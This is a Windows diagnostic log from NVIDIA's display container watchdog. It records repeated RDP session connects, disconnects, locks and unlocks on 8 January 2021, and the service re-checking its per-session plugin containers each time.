#6(I)[2021-01-08 10:10:26,545]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-08 10:10:26,623]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-08 10:10:26,623]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-08 10:13:41,466]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-08 10:13:41,466]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-08 10:13:41,466]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-08 10:13:41,466]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-08 10:13:41,466]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-08 10:13:41,497]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 10:13:41,622]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#20'
#6(I)[2021-01-08 10:13:41,622]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#20'
#7(D)[2021-01-08 10:13:41,622]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 10:13:41,622]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 10:13:41,622]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 10:13:41,622]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 10:13:41,622]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 10:13:41,622]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 10:13:41,622]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 10:13:41,622]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 10:13:41,622]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 10:13:41,622]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 10:13:41,622]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-08 10:13:41,638]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 10:13:41,654]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#20'
#6(I)[2021-01-08 10:13:41,654]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#20'
#7(D)[2021-01-08 10:13:41,654]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 10:13:41,654]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 10:13:41,654]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 10:13:41,654]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 10:13:41,654]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 10:13:41,654]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 10:13:41,654]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 10:13:41,654]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 10:13:41,654]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 10:13:41,654]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 10:13:41,841]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-08 10:13:41,841]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-08 10:18:57,264]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-08 10:18:57,264]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-08 10:18:57,326]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-08 10:18:57,326]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-08 17:32:29,978]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-08 17:32:29,978]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-08 17:32:29,978]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#2(I)[2021-01-08 17:32:29,978]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-08 17:32:29,978]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-08 17:32:30,009]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 17:32:30,056]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#22'
#6(I)[2021-01-08 17:32:30,056]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#22'
#7(D)[2021-01-08 17:32:30,056]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 17:32:30,056]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 17:32:30,056]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 17:32:30,056]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 17:32:30,056]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 17:32:30,056]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 17:32:30,056]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 17:32:30,056]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 17:32:30,056]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 17:32:30,056]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 17:32:30,306]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-08 17:32:30,306]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-08 20:57:14,436]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-08 20:57:14,436]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-08 20:57:14,514]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-08 20:57:14,514]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-08 21:28:14,329]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-08 21:28:14,329]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-08 21:28:14,329]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-08 21:28:14,329]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-08 21:28:14,329]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-08 21:28:14,360]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 21:28:14,548]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#24'
#6(I)[2021-01-08 21:28:14,548]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#24'
#7(D)[2021-01-08 21:28:14,548]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 21:28:14,548]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 21:28:14,548]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 21:28:14,548]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 21:28:14,548]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 21:28:14,548]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 21:28:14,548]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 21:28:14,548]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 21:28:14,548]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 21:28:14,548]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 21:28:14,548]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-08 21:28:14,563]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 21:28:14,610]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#24'
#6(I)[2021-01-08 21:28:14,610]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#24'
#7(D)[2021-01-08 21:28:14,610]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 21:28:14,610]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 21:28:14,610]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 21:28:14,610]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 21:28:14,610]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 21:28:14,610]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 21:28:14,610]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 21:28:14,610]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 21:28:14,610]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 21:28:14,610]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 21:28:14,720]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-08 21:28:14,720]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-08 22:57:34,248]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-08 22:57:34,248]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-08 22:57:34,358]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-08 22:57:34,358]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-08 23:32:08,070]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-08 23:32:08,070]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
